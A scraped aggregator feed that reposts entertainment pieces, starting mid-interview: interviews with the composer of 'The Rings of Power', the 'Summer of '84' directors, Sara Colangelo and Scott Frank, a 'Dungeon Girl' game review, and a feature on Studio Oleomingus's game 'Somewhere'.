So to even say it correctly made it scarier. There’s a cue in the second episode where Bronwyn is running into the town to warn everyone that something terrible is coming. And I wrote the quotation of the Sauron theme there because there’s a threat. There’s something evil coming. And when I heard the recording, it was 10 times more aggressive and scary than I thought it was going to be. And I chimed into the conductor and I said, “What’s happening with the dynamic here? It’s not meant to be super loud.”And then I realized it was the pronunciation, it’s the word itself. And I thought about how in the books and in the movies to speak Black Speech causes the world around you to turn dark. An evil presence happened. And sure enough, that happened in the recording. There was a sense of ominous evil that came out of those words just because you must pronounce the consonants in a very specific way.

That was fascinating. I feel like that was Tolkien’s values and language influencing the score in a very unique and the specific way. And I thought it was just a wonderful opportunity as a composer to get to work with those languages.

“The Lord of the Rings: The Rings of Power” is streaming on Prime Video.

Read this next: 13 Fantasy Shows Like The Lord Of The Rings: The Rings Of Power You Should Check Out

The post The Lord of the Rings: The Rings of Power’s Bear McCreary on the Power of Black Speech, Crafting a New Sound for Middle-earth [Exclusive Interview] appeared first on /Film.

]]> https://briefnews.eu/the-lord-of-the-rings-the-rings-of-powers-bear-mccreary-on-the-power-of-black-speech-crafting-a-new-sound-for-middle-earth-exclusive-interview/feed/ 0 ‘Summer of ’84 Directors on Crafting Their Nostalgic Horror Throwback and the Status of ‘Turbo Kid 2’ [Fantasia Film Festival Interview] https://briefnews.eu/summer-of-84-directors-on-crafting-their-nostalgic-horror-throwback-and-the-status-of-turbo-kid-2-fantasia-film-festival-interview/ https://briefnews.eu/summer-of-84-directors-on-crafting-their-nostalgic-horror-throwback-and-the-status-of-turbo-kid-2-fantasia-film-festival-interview/#respond Fri, 10 Aug 2018 19:32:01 +0000 http://briefnews.eu/summer-of-84-directors-on-crafting-their-nostalgic-horror-throwback-and-the-status-of-turbo-kid-2-fantasia-film-festival-interview/ Summer of 84 Directors Interview

What is about the image kids on bicycles, having an adventure, that just screams “This is a story set in the 1980s”? The trio of Montreal-based filmmaking team, known collectively as RKSS (and individually as François Simard, Anouk Whissell, and Yoann-Karl Whissell), decided to find out when they got their hands on the Summer of ’84 script from first-time screenwriters Matt Leslie and Stephen J. Smith. This is a story that taps into some of the same nostalgic vibes that made last year’s version of Stephen King’s It and Netflix’s Stranger Things series so popular, while grounding its story more squarely in reality rather than diving into the supernatural or other worldly.

Set in the deepest, darkest suburbs of Oregon, the film follows 15-year-old Davey Armstrong (Graham Verchere), who is bored and not interested in hanging around the house while the tension between his parents is close to boiling over. He sets himself the mission of discovering the fates of a handful of missing and dead area teens — a search that gets kicked into overdrive when a few pieces of circumstantial evidence points Davey and his three closest pals to suspecting that local police officer Mackey (Rich Sommer) of being the so-called Cape May Slayer. It just so happens the cop also happens to be Davey’s next-door neighbor, which makes for some very awkward and tense moments around the old cul-de-sac.

The film finds ways to subvert expectations, generate genuine character development in a genre that doesn’t often bother (there’s a lot of hanging around time with the kids), and provides another excellent opportunity for RKSS to create a genre-busting cult hit, as they did with Turbo Kid in 2015 (and yes, they are still planning a sequel).

/Film caught up with the filmmakers just hours before they debuted Summer of ’84 in front of a hometown crowd in Montreal during Fantasia Festival recently. The film begins making its way into theaters across the country today.

I was fortunate enough to be at Fantasia when Turbo Kid premiered, and I don’t think I’ll ever have a more thrilling experience being at a festival screening in my life. That crowd was insane.

Yoann-Karl: We cried that night, in front of everybody.

I remember. Both with that film and Summer of ’84, the film had played many other festivals before Fantasia, both debuted at Sundance. What is the difference between playing anywhere else and Montreal?

Anouk: There’s a lot of pressure.

Yoann-Karl: There was pressure at Sundance as well, but whatever else happened, we got in at Sundance. We did that. Coming back from Sundance, it was like “Oh no, now people have expectations. This is very scary. Summer is very different than Turbo Kid. This is a very rocking crowd; they get insane. Turbo Kid sounded like a rock concert, not like a movie screening. Summer is slower paced, so we’re a bit nervous. But it’s a good, smart crowd. They’ll jump in at the right moments, but it’s still scary.

Anouk: They’re also very familiar with our short films from before [Turbo Kid].

Yoann-Karl: There’s no gore in Summer, so that might make a difference.

Let’s back it up a bit. You come off Turbo Kid a few years ago, which you wrote. How did this script come to you, and why did you decide to go with a story that you didn’t start from scratch? What grabbed you about this screenplay that made you have to make it?

Yoann-Karl: It felt like it was written for us. We felt like those four kids were a mixture of all that we were when we were growing up—swearing too much, trying to steal alcohol bottles from your dad. What really hooked us was the ending, and we wanted to go there. We wanted to go that dark with this story; it made it interesting to us.

François: We didn’t really plan for this to be our second feature. Every movie that gets a green light is a miracle, and we had several projects in development. When we heard the pitch and the ending, and it made us think “Okay, we’re doing this.” Even if it’s super-serious and we didn’t write it, we were still passionate about this movie and there was nothing like it in the market at the time—this was  2015—and now we’re totally part of the zeitgeist.

I know, it looks like you planned it much more than you did. But when this came to you, it was before Stranger Things and well before It, and now you’re part of this kids-on-bikes zeitgeist. Did you make any adjustments to make sure nothing about your film was similar to these other projects?

Anouk: We made a minor adjustment. We removed a Dungeons and Dragons reference, and we played a ton of it in high school. As for myself, I was so afraid that Stranger Things and our film would be similar, so I took some time and decided to watch it, and I was really relieved that it was so different. There are kids on bikes, but it’s very different.

François: In the end, everybody realized there was this huge audience for nostalgia. In the end, we’re grateful.

What is it about the visual of kids on bikes that sends people back 30-some years and gets people excited about a certain kind of adventure storytelling?

Anouk: We were huge BMX fans ourselves.

Yoann-Karl: That’s what in Turbo Kid there are so many bikes.

Anouk: Right. We spent our summers on our BMXs.

Yoann-Karl: One of our favorite films growing up was BMX Bandits. We were obsessed with that film. A lot of people don’t know that film, but in Quebec, that movie was huge. Everybody was obsessed with that film and watch it a billion times.

Anouk: I don’t want to assume that later generations played less outside, but I feel like maybe that’s the case, and that’s why kids on bikes feels very ’80s.

François: Yeah, with Turbo Kid and Summer of ’84 are our homages to our childhood. I don’t know if that’s because we’re adults and don’t want to grow up.

Yoann-Karl: We’ll be teenagers forever [laughs].

With these kid adventure films, I always believed that if the kids thought there was any real danger, they probably wouldn’t be doing what they’re doing. They’re just bored in the summertime. Was that at least the beginning of these particular story—just something they could do as a group?

Yoann-Karl: That’s exactly it. And it makes the audience feel safe because you’ve seen those films. You felt relatively safe with them going on that adventure, and suddenly we pull the rug out from under your feet and say, “No, this is real life, and real life is a lot darker than the imagination those kids have. They are so sure of themselves that they don’t realize how much danger they’re in themselves; they don’t get it. They think they’ll be the heroes and save the day. The audience doesn’t realize; they don’t realize; but eventually they get sidearmed by the movie.

Anouk: At first it’s just a fun adventure, like going after Bigfoot [laughs].

Yoann-Karl: Yeah, but ultimately, he’s a victim of his over-active imagination.

François: And the fact that it can happen, it makes it a lot scarier for us.

Yoann-Karl: True crimes are a lot scarier.

You play with our expectations for these kind of films, in that, the most guilty-looking person is almost never the actual guilty person. I won’t spoil anything, but talk about subverting our expectations. You do it at a few moments.

Yoann-Karl: I think the audience does the work themselves. We never lie. It’s hard to answer this question without spoilers. The answer is always there, but you always make more work for youself.

Anouk: We do create things to mislead you, a few red herrings.

François: And that’s why it’s so important that with the role of Mackey, he’s really likable. People need to look at him and say “It can’t be him; it’s Harry from Mad Men. He’s not a serial killer.” [laughs]

How high and low did you search for just the right actor to play that role, because he has to hit those notes exactly right?

Yoann-Karl: We had long, long conversations with a lot of names, talking about looking for that perfect look. And for us, it made sense when we talked about Rich Sommer. That was the guy; he has that face. Thank god, it worked out because he could have said no. For us, it made total sense.

François: We learned that he’s a huge geek and plays lots of board games. He’s one of us; we’ll be okay.

Continue Reading Summer of ’84 Interview >>

The post ‘Summer of ’84 Directors on Crafting Their Nostalgic Horror Throwback and the Status of ‘Turbo Kid 2’ [Fantasia Film Festival Interview] appeared first on /Film.

]]> https://briefnews.eu/summer-of-84-directors-on-crafting-their-nostalgic-horror-throwback-and-the-status-of-turbo-kid-2-fantasia-film-festival-interview/feed/ 0 ‘Dungeon Girl’ Offers Cheery Dungeon Delving And Elaborate Crafting https://briefnews.eu/dungeon-girl-offers-cheery-dungeon-delving-and-elaborate-crafting/ https://briefnews.eu/dungeon-girl-offers-cheery-dungeon-delving-and-elaborate-crafting/#respond Mon, 30 Jul 2018 17:45:20 +0000 http://briefnews.eu/dungeon-girl-offers-cheery-dungeon-delving-and-elaborate-crafting/ dungeon girl.jpg
My Dungeon Girl experience took quite the turn: at first I thought “all of this is utterly pointless.” A few hours later I was hooked. That’s because your first forays into the game’s dungeons are simply overwhelming. It explains all of its various mechanisms at once and in great detail, and this wall of text it throws at you is bound to confuse you to no end. Pointless clicking ensues. However, the more you play, the more sense everything starts to make, and that’s where the game just draws you in.

Exploring the game’s dungeons is a fairly abstract affair. Each floor is represented by a 6×6 grid, and you interact with it by clicking on its tiles. Search tiles need to be clicked in order to show the exit to the next floor. Work tiles give you money, heart tiles give you health, and sword tiles let you attack the enemies that sometimes appear. Occasionally, you can also pick up loot and materials.

You can click on any tile – no need to match three of them or something like that. However, the more of them you can group together, the better. Now, the whole point of dungeon exploration is making progress within the dungeon while also making money and not getting kicked out early by its denizens. It’s a balancing act, and learning how to do all of this is a lot of fun. Every few dungeon floors, you can exit the dungeon and later re-enter at that exact same spot. That’s how you make progress.

You’re not completely alone in your endeavors, as you’re joined by some companions who support you with their skill sets. The more time you spend with them, the more “friend points” you unlock, which in turn allows you to unlock skills, other companions, or small slice-of-life cutscenes.

dungeongirl2.jpg

Item crafting makes another huge impact. You can basically combine the things you find on your expeditions and create new or stronger items. I’ve not quite figured out how to do this right, mind. It ispretty complex (and better items are definitely needed for you to progress, that why I am currently stuck on level 45 or so.)

Dungeon Girl is an odd game. It neither feels like a traditional puzzle game, nor like a light RPG. The crowded UI and poor onboarding makes it hard to get a grip of what exactly is happening, but once you got it, you’re going to be hooked. This is very much its own charming little thing, and it’s extremely compelling.

You can purchase Dungeon Girl from the Fruitbat Factory Store or from Steam for $ 11.99. You can find more information about the game on the Fruitbat Factory website.

]]> https://briefnews.eu/dungeon-girl-offers-cheery-dungeon-delving-and-elaborate-crafting/feed/ 0 Conversation design: The right approach to crafting voice interfaces https://briefnews.eu/conversation-design-the-right-approach-to-crafting-voice-interfaces/ https://briefnews.eu/conversation-design-the-right-approach-to-crafting-voice-interfaces/#respond Sat, 28 Jul 2018 21:47:27 +0000 http://briefnews.eu/conversation-design-the-right-approach-to-crafting-voice-interfaces/

GUEST: Apple’s App Store launch feels like a distant memory now — the glossy buttons, overused gradient, and harsh drop shadows have faded in the rearview for most of us. Similarly, in a few years we’ll have forgotten the arguments we’re now having with our voice assistants — the casual request “Hey Siri” eventually turning…Read More

]]> https://briefnews.eu/conversation-design-the-right-approach-to-crafting-voice-interfaces/feed/ 0 ‘The Kindergarten Teacher’ Director Sara Colangelo on Crafting Her Award-Winning Drama [Sundance Interview] https://briefnews.eu/the-kindergarten-teacher-director-sara-colangelo-on-crafting-her-award-winning-drama-sundance-interview/ https://briefnews.eu/the-kindergarten-teacher-director-sara-colangelo-on-crafting-her-award-winning-drama-sundance-interview/#respond Tue, 30 Jan 2018 15:02:36 +0000 http://briefnews.eu/the-kindergarten-teacher-director-sara-colangelo-on-crafting-her-award-winning-drama-sundance-interview/ The Kindergarten Teacher Review

For her second feature at Sundance (after her highly praised 2014 debut Little Accidents), writer/director Sara Colangelo has chosen to remake a four-year-old Israeli drama to examine the dying practice of encouraging and protecting artistic genius. Like the Staten Island educator at the center of this film, The Kindergarten Teacher pushes boundaries and crosses lines as it navigates its way through a tricky story of a five-year-old boy (newcomer Parker Sevak), who shows an unreal gift for poetry, and his teacher, Lisa (a career-best performance by Maggie Gyllenhaal, who is also one of the film’s producers), who struggles in her adult-education class to be a poet as well, if only to add a bit of culture to a home life that offers her little by way of intellectual stimulation.

This interview with Colangelo took place at the 2018 Sundance Film Festival, where The Kindergarten Teacher premiered and earned Colangelo the festival’s Directing Award in the U.S. Dramatic category. /Film spoke with her about the appeal of this difficult story, the decision not to paint her protagonist as mentally unbalanced, and the risk of losing the next Mozart without proper encouragement. The Kindergarten Teacher has yet to announce a distributor or release date.

This film is a remake of an Israeli work from a few years back, and you’ve retained its structure and story for the most part. How do you sell this sometimes troubling story to prospective financiers?

Sara: Here’s the thing, I saw the Israeli version, which I think is beautiful. I think Nadav Lapid is an incredible filmmaker. He’s examining masculinity in Israel and arts in a country at war. He’s looking at other things. He was a child poet, so it’s kind of autobiographical to a certain extent. When I saw it, and again, you’re right, I didn’t say, “I want to do a remake,” especially of a wonderful film, you’re always a little tentative. I really thought with this, I could make it my own and really anchor it in Lisa’s point of view. That really excited me. What also excited me was the fact that this was not a perfectly likable character. In fact, she is awful sometimes. I think that excited Maggie, too.

People have asked, “What’s the connection between this film and the #MeToo movement or the presidential campaign?” I’m sick of women having to be so likable all the time. We’re nuanced creatures, like men. Men get to be antiheroes in cinema, and we should too. I think it makes for wonderful cinema and it makes for something that I think women relate to, too. Even though this is a warped and twisted tale, at moments, I think there’s a side to this that we can understand. I like the story, because I find that I myself vacillate between saying, “I totally get this as an artist or somebody that appreciates the arts,” and then sometimes I’m like, “Oh, gosh. What are you doing now? This is making me incredibly uncomfortable, and you’re crossing a sacred boundary.” But I like that. I like the ride of that as somebody in the audience. It’s not perfectly linear all the time. You’re going back and forth. I was interested in that too, narratively.

Basically, you’re saying you didn’t care.

Sara: [laughs] Yeah, I am saying I don’t care.

Which is exactly how it should be.

Sara: Yeah, I don’t care. There’s something to the story that’s naturally a little bit an allegory, or it’s a parable. I was listening to, who was the filmmaker [Joachim Trier] that did Oslo, August 31st? That’s such a beautiful film. He was saying, “That’s a film that I would love for people to adapt it, because it’s a film that could be set in a different time period and in a different place.” Almost like it should be made every 10 years. I thought that this, too, there’s something about this that is timeless, like art in society, and how does a person push art through the banality of everyday life and the gadgets of modern life? I think every era has its blockers, its obstacles to art.

Teachers are in a unique position to spot talent and gifted children so early, and they often be convinced, like Lisa is here, that they’re not going to be encouraged or nurtured in the right way, and that their talent is going to fade away at some point, or they’re going to lose interest, or they’re just not going to get enough positive feedback for them to say, “I should pursue this.” That’s what I saw here. Almost everything Lisa does is, in a way, forgivable.

Sara: Yeah. It makes you wonder if she was right. She’s clearly not right. She’s doing something incredibly unhealthy. But yeah, I think that’s the Greek tragedy element of it, it doesn’t always make perfect sense. You do wonder if she was right all along.

There’s a discussion about Mozart and about how anything he had to concern himself with that wasn’t about making music was taken care of by somebody else. Where did that level of nurturing go? I’m not necessarily saying people should be that pampered, but at the same time, the level of encouragement resulted in some beautiful things. Are you hoping that maybe that will come back into fashion to a certain degree?

Sara: Well, no, I’m not saying that. I was actually pregnant when I was writing the screenplay and then gave birth right before shooting the film. So issues of being a parent were very much running through my veins a bit. How much do you push a child? You want to encourage them, but what is going too far? I ultimately think this is a story not about genius, because there is that genre. There is the child genius genre. To be honest, I kind of find them boring. This is a film about a woman’s projection. This is about a woman who’s hungry to be an artist herself and using the child to self-transform. That’s what I think it’s about.

Does she think that being next to genius will rub off on her somehow?

Sara: Yeah. Part of the plagiarism [Lisa pretends that Jimmy’s poetry is her work to her poetry class] to me is also feeling for a second what it’s like to be adored in a classroom. That’s so moving to me too, because it’s like we’re not clear if she’s a good artist or a bad artist. It’s totally subjective. Some people like her poems and some people don’t. It’s in a gray area. I think so much of what the film is asking is, who really gets to decide what art is? Who gets to lavish praise onto whom? To me, it’s heartbreaking, because she’s kind of trampled on.

Maggie and I were talking a lot about that as we were filming. Somehow, with the finished film, we were watching it, and we were like, “Wow, you feel this caretaker who’s been trampled on, and she’s getting blocked everywhere she’s trying to go, even when she’s creating her own stuff. She’s trying to be part of creativity in some way, and here’s this kid, and that’s the only way she can do it.” To both of us, that was moving. I noticed to some people, it’s sort of funny. It veers off into black comedy. To both of us, we were watching it at the premiere, and it was the first time I let myself go and watch it. And we were like, “Wow, it’s a bit heartbreaking at moments.”

It’s funny what you said about her getting a taste of it praise, because there are a couple moments, like when she sleeps with her professor [played by Gael García Bernal], that is her living that free, artist’s lifestyle. It’s not her reality. It’s more of her saying, “Let me just see what this is like. This is how I would be if I were great and people recognized me.”

Sara: Yeah, she’s got some identity crisis issues going on.

Let’s just talk about collaborating with Maggie and working with someone who’s in every frame of your film. How was that different than what you’d done before?

Sara: It was an incredible experience, because she’s just so smart. She brings so much nuance and idiosyncrasy to the role. I had an idea of what Lisa would be on the page, but she was just really wonderful in saying, “She should wear weird outfits and animal necklaces. She wants to inspire these kids.” We really crafted this idea of a Waldorf or a Montessori teacher stuck in a New York City public school. She was so much part of the idiosyncrasy of this character. It was just so great, because she elevated what this character was in my script. And I think this being my second feature, I let go a lot more on set, because I trusted her so much, and I let myself be surprised at where she would take it. That was a lot of fun.

Continue Reading Sara Colangelo Interview >>

The post ‘The Kindergarten Teacher’ Director Sara Colangelo on Crafting Her Award-Winning Drama [Sundance Interview] appeared first on /Film.

]]> https://briefnews.eu/the-kindergarten-teacher-director-sara-colangelo-on-crafting-her-award-winning-drama-sundance-interview/feed/ 0 The IndieBeat: How Studio Oleomingus is crafting its Indian post-modern fairy tale https://briefnews.eu/the-indiebeat-how-studio-oleomingus-is-crafting-its-indian-post-modern-fairy-tale/ https://briefnews.eu/the-indiebeat-how-studio-oleomingus-is-crafting-its-indian-post-modern-fairy-tale/#respond Thu, 07 Dec 2017 16:23:00 +0000 http://briefnews.eu/the-indiebeat-how-studio-oleomingus-is-crafting-its-indian-post-modern-fairy-tale/

For the last three years, Indian indie studio Studio Oleomingus has been crafting its first game, a post-modern fairy tale called Somewhere. It’s gifted the internet with occasional peeks into its magic realist world of stories within stories, notably with the interactive parable Timruk and the delightfully weird conversation-generator Menagerie. This weekend, it plans on releasing a new short PC demo called A Museum of Dubious Splendors, which will be available on its Itch.io page. Next year, it’s also releasing a two-hour side game called Under a Porcelain Sun.

The game exists in a realm of luxurious patterns and striking colors. It juxtaposes odd everyday objects such as enormous tubes of toothpaste against lush trees with bizarre silhouettes. It’s a surreal adventure through a fictional world built around a fictional playwright’s writings, which seem to somehow intersect with modern reality. It’s a game about stories in their various forms.

“Somewhere is a video game adaptation of an anthology by the Gujarati playwright Mir UmarHassan, about the search for a mythical city called Kayamgadh,” said Oleomingus founder Dhruv Jani in an email to GamesBeat. “Set in the southern Malwa region in 19th-century British colonial India, it traces the lives of several people as they search for pages of a fabled journal which charts a route to Kayamgadh.”

In Timruk, reading a book sometimes shifts the scene entirely to a new room or environment. In A Museum of Dubious Splendors, you wander through corridors, gazing at items like cassette tapes displayed like works of art. Though it’s not clear who we’re playing in both of these short experiences, Jani says that Somewhere will mainly follow the travels of Aziz and Azaam, a duo of thieves who trade in forgeries. The pages they’ve duplicated come from the journals of Charles Henry Connington, the explorer who first discovered the legendary Kayamgadh. As the player joins them in tracking down the rest of the pages, they’ll transform into various other characters and take on different identities, some of whom exist only in the imaginations or stories of other people.

“Our principal argument in creating Somewhere is to attempt an exploration of a particular form of fiction, one that we call ‘concentric fiction,’” explains Jani. “Where each node in the story spawns a repetition of authorship, and a series of nesting of narratives.”

Oleomingus’s approach to games is hyper-literary. Jani cites authors like Jorge Luis Borges (Ficciones, The Aleph) and Italo Calvino (Cosmicomics, Invisible Cities) as influences on the recursive, meandering structure of the game. Other inspirations are graphic novelist Sanarth Banerjee’s The Harrapa Files and its fragmentary narrative style, and playwright Girish Karnad’s fusion of mythology and the modern.The themes of Somewhere’s stories take their cue from colonial and post-colonial authors, such as Rudyard Kipling and E.M. Forster.

A Museum of Dubious Splendors is what Jani calls a “rumination on the nature of an archive of recollections.”

“[It’s] an attempt to resurrect people from within the margins of stories that have never been recorded with any permanence — in that they are folklore-like, full of spurious histories that get told about each prosaic object on display,” said Jani in an email to GamesBeat.

Oleomingus is a two-person studio, Jani and Sushant Charaborty. Jani writes, designs, and does the artwork and Charaborty handles the coding. They started collaborating while Jani was part of an art residency program at Khoj, an artists’ workshop and space in south Delhi.

Here is an edited transcript of our interview.

GamesBeat: Can you tell me more about the two of you and how you came to form Oleomingus? Is this your first project? 

Dhruv Jani: Our studio is based in Chala, a small town near Daman, on the western coast of India.

I am an exhibition designer by training, though I have never practiced as such, preferring to work on a combination of speculative architecture and literature. Sushant is a programmer by training, and practices as one. I first met him on Unity forums, when I was working at Khoj about three years ago.

Since then we have sought to concentrate our work on the confluence of post-colonial literature, speculative architecture, and games, combining avenues of investigation that interest us both. Somewhere, and the various stories that spawn from it, are indeed our first project.

GamesBeat: How long have you been working on Somewhere, and how has the project evolved in that time?

Jani: We have been working on Somewhere for about three years, though our work on the project has been intermittent, starting and stopping to accommodate other practice and teaching assignments. But throughout this time, Somewhere has remained a continuous strand of inquiry and has recently become a predominant occupation of ours.

Somewhere began as an exploration game at Khoj. At Khoj, we met the game theorist and author Souvik Mukherjee, and worked with artist and author Prayas Abhinav, both of whose works informed our first tentative approach towards the creation of our game. Prayas’s writings (especially his curation of the Museum of Vestigial Desire) continue to remain a source of lasting inspiration.

When we started working on Somewhere, the procedure of building games was alien to us, and we blundered the best we could while spending a large amount of our effort delineating
the narratives that would occupy our game. The fictional world of BhulaDesh, the kingdom of Kotananku, and the search for Kayamgadh were all created while we grappled with learning how to build spaces and make them interactive.

And as we delved into colonial history we started to mask our writings for the game by creating the persona of Mir UmarHassan, a fictional Gujarati poet whose works we are ostensibly adapting in game form. This was done in part because it was easier to negotiate our literary influences in a traditional form of writing rather then use interactive fiction from the start. It allowed us to broaden Somewhere from a game to a trans-media project, rooted in post-colonial textual practices. And it spread the implications of our narrative across a span of nearly a hundred years, letting us demonstrate recognizable effects of events in the 1800s on the record of history as understood after independence.

Eventually, as our craft grew and as resources permitted, we started building one story at a time from this narrative space. All the while adding to the fiction, embroiling it into history, and inveigling our own characters into the stories of many who lived and wrote prolific records at the time.

With aid from the India Foundation for the Arts (IFA), Khoj amongst others, we started building our game and codifying our collection of stories by Mir UmarHassan. Some of this work is made available online, and some is meant to be consumed locally at exhibitions and at institutions.

But over the past year, a confluence of support and a certain confidence in our skill have allowed us venture something a little more ambitious. With IFA, we started working in earnest on the theoretical implications of our work, on whether games could meaningfully contribute to the pantheon of post-colonial discourse.

And we also started working on a two-hour long Steam build for the game, using our most ambitious story set in verse as the template. This Steam build, is called “Under a Porcelain Sun” and we will be releasing it next year.

GamesBeat: Can you talk a little about your inspiration for Somewhere? Do you draw from a lot of literary sources?

Jani: Our work is deeply influenced by post-colonial writing and post-modern literature and early magical realist literature. Our literary references are broken into three distinct categories that pertain to their specific domain of influence.

Structural: Jorge Luis Borges (Ficciones, The Aleph); Italo Calvino (Cosmicomics, Invisible Cities); Orhan Pamuk (“The White Castle,” “My Name is Red”), Sarnath Banerjee (The Harrapa Files, Barn Owl Capers); Sukumar Ray (AbolTabol); and Girish Karnad (Tuglaq, Hayavadna).

Narrative, especially writings of colonial and post-colonial authors: Sadat Manto, Agha Shahid Ali, E.M. Forster, J.G. Farrell, Amitav Ghosh, John Lang, Fanny Parkes, Rudyard Kipling, and others.

Theoretical and historical: Ania Loomba, J.M. Coetzee, Edward Said, John Keay, Romila Thapar, Arthur L Basham, and Manuel DeLanda.

For example, the build we are crafting now — a museum — is a rumination on the nature of an archive of recollections. An attempt to resurrect people from within the margins of stories that have never been recorded with any permanence. In that they are folklore-like, full of spurious histories that get told about each prosaic object on display. Here we burrow a structure from Rudyard Kipling’s Just So Stories, and super impose that atop something like Calvino’s recurring motifs of dialogue from Invisible Cities.

GamesBeat: Can you tell me more about the game’s story? Are some of the events and characters based on cultural or historical fact or is it mainly fiction? 

Jani: Somewhere is a video game adaptation of an anthology by the Gujarati playwright Mir UmarHassan, about the search for a mythical city called Kayamgadh. Set in the southern Malwa region in 19th century British colonial India, it traces the lives of several people as they search for pages of a fabled journal which charts a route to Kayamgadh.

The discovery of Kayamgadh is attributed to Charles Henry Connington, who having become separated from his caravan after the Matsyapur siege, stumbles into this fabled city in the year 1812. Upon his return an account of his travels to Kayamgadh are published, accompanied by intricate sophistry and peculiar theocentric writing. Connington’s blasphemous writings and a passionate avowal of the book by a group of influential Dubhashi, leads the Company to purge all copies of the published text, leaving only individual pages from the original document. Which inevitably become artifacts of great value.

Amidst this history, the game itself limits its narrative to the adventures of Aziz and Azaam.
A pair of itinerant thieves and forgers who have been trading in fake Connington pages, and who get embroiled in the search for a complete copy of Connington’s travelogue.

Our principal argument in creating Somewhere is to attempt an exploration of a particular form of fiction, one that we call “concentric fiction.” Where each node in the story spawns a repetition of authorship, and a series of nesting of narratives.

Take for example Somewhere itself. It is a game adaptation of a short story collection that is derived from the recollected history of a character who is searching for a journal that points to the location of a city that might not exist! The repeating cycle of authorship removes from the story any individual authority that a person writing it in a single age might be able to impart.

This is a form, we argue, that is prevalent in folk literature and theater practice, and can be put to splendid use in the telling of fragmented subaltern, post-colonial stories within video games. It centers around the notion of redacting authorship, where we argue that veracity of a story is not embedded in the authority of its telling but in the repletion and mutability of its lore.

GamesBeat: What’s the inspiration behind Somewhere’s visual aesthetic?

Jani: Much like the tapestry of literary references, the visual analogues are also numerous. And they are sometimes harder to delineate, because many a reference simply bleeds into the rest without making itself known.

Nonetheless, some obvious ones are: Thomas and William Daniell; Tilly Kettle; numerous other Orientalist paintings from the Company School by various artists; Hiroshi Yoshida’s watercolors; Pieter Bruegel incredible narrative landscapes; Rene Magritte splendid oeuvre; and Minoru Nomata’s incredible structures,

Add to this the architecture I grew up with, studying in the shadow of Corbusian modernism,
and the Sultanate monuments of Ahmedabad, and the Portuguese forts and Cathedrals of Daman.

I have always enjoyed narrative paintings, like Mughal miniatures or Mala miniatures, where each frame is so suffused with detail that you have to read the individual characters like logograms.

In the works of the artists or ateliers mentioned earlier, there is a theatricality of posture and composition and a consciousness of the frame — which is a characteristic feature of illustration, puppetry, and theatre sets, and does not belong to traditional and archaic forms of painting. It is perhaps this need to respond to familiar tales and to aggrandize the performance of a story that attracts me to their work.

GamesBeat: Can you tell me a little more about Khoj and what it was like to be a part of an incubator? Are indie game incubators common in India? 

Jani: Khoj is not really an incubator, in fact our time at Khoj was spent as part of a rather traditional art residency program — except we were working on videogames. For about three years, Khoj conducted a game residency culminating in an exhibition of the work created. And during the period it funded and curated a splendid selection of works, which were predominantly created by visual artists, architects, filmmakers, and theater practitioners and not game developers.

I do not know of any incubator in the country, though commercial game projects and games for mobile devices do receive considerable monetary support from various groups or publishers at events like Nasscom Game Developers Conference. Though again, since we do not practice in that space, I am ignorant of current developments.

GamesBeat: Is your project mainly supported by grants, such as the one from the India Foundation of Arts? What’s the indie game community like where you are? 

Jani: Yes, indeed our work is predominantly supported by grants and by art institutions, our engagement with India Foundation for the Arts being the most substantial one thus far.

Over the past few years there has been a slow but tenacious growth of a small concentration of indie studios in cities like Mumbai and Bangalore. Many of whom are doing wonderful work, and I am acquainted with them, having interacted at common events, or exchanged notes on the Internet.

But aside from the half dozen or so dedicated game studios there is also a slew of artists, like Prayas (who I mentioned earlier), Raqs Media Collective, and several others who are using interactive media to explore their own disciplines and in the process create really strange and exciting speculative games or software.

IndieBeat is GamesBeat reporter Stephanie Chan’s new weekly column on in-progress indie projects. If you’d like to pitch a project or just say hi, you can reach her at stephanie@venturebeat.com.

Submit your PC game by December 14th for free testing and be entered to win an @intel​ CORE i9 PROCESSOR worth $ 1000, an iBUYPOWER​ Revolt 2 Pro Z370 worth $ 1750, or an ASRock​ X299.

ENTER & WIN: Submit your PC game to the Intel Game Dev Program

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]]> https://briefnews.eu/the-indiebeat-how-studio-oleomingus-is-crafting-its-indian-post-modern-fairy-tale/feed/ 0 ‘Godless’ Creator Scott Frank on Crafting His Epic Netflix Western [Interview] https://briefnews.eu/godless-creator-scott-frank-on-crafting-his-epic-netflix-western-interview/ https://briefnews.eu/godless-creator-scott-frank-on-crafting-his-epic-netflix-western-interview/#respond Mon, 04 Dec 2017 17:17:18 +0000 http://briefnews.eu/godless-creator-scott-frank-on-crafting-his-epic-netflix-western-interview/ Scott Frank interview

Godless, the acclaimed new miniseries now streaming on Netflix, first came into being years ago when writer, director, and creator, Scott Frank wrote a feature script pitting Roy Goode (Jack O’Connell) and the town of La Belle against the wrath of Frank Griffin (Jeff Daniels). Despite all the talent that became involved, the western struggled to get made as a film. After years of trying and directing two exceptional films, Frank brought the project to Netflix, where he was finally able to tell his original story on a grand scale.

Even the magnitude of Griffin’s towering presence helps make Godless bigger in scope. Some of the characters are as epic as the landscapes – Frank doesn’t really mind if Netflix customers experience them on an iPhone. He recently told us about the series’ journey to Netflix, the exeprience of shooting a mammoth of a western, and much more.

The last time we spoke, you said Godless made you realize you’re a “horrible director.” What made you think that?

Because I realized that there was so much to do in order to realize the story the way it needed to be realized, and I felt wholly inadequate in terms of being up to the task.

The scope of the show is huge.

It’s huge, it’s huge. It’s really huge.

What is the pre-production process like for a project of this magnitude?

Well, it’s a lot of finding the right location. Because there’s a lot of shooting in the right spots. Pre-production was, aside from building the town, because the town, obviously, is 60 percent of the show. Then we shot in other towns that had already existed in New Mexico, but we built our own town so a lot of pre-production was focused on that and how we were going to shoot in the town. Also, the shootout, sort of storyboarding the shootout, rehearsing the shootout, right down to building fake staircases for the horses to ride up and down. A lot of that, but in terms of scope, we … I remember at one point, [executive producer] Casey Silver saying to me, “It would be good to have a list of shots that you really wanted to get that just sold the size of it.”

I was sort of always on the make for those sorts of things when we were out and about. For the most part, anywhere you point a camera in a lot of New Mexico, it’s gorgeous. It’s a question of what time of day, so [cinematographer] Steven Meizler and I would think a lot about what time we would shoot. Like when the horses are crossing the river in the episode, in the first episode, Steven was very particular about what time to get the light behind the water at the end of that episode. We would be thinking about that all the way through, because it’s not just having the landscape as background. You want the light to be a big part of it, and that was also a big challenge. It’s what, again, what creates that sort of, that sense of size and vastness, and land that goes on forever. “Where is the sun? Where is the horizon?” Lots of discussions about that on all of our scouts, which we would look.

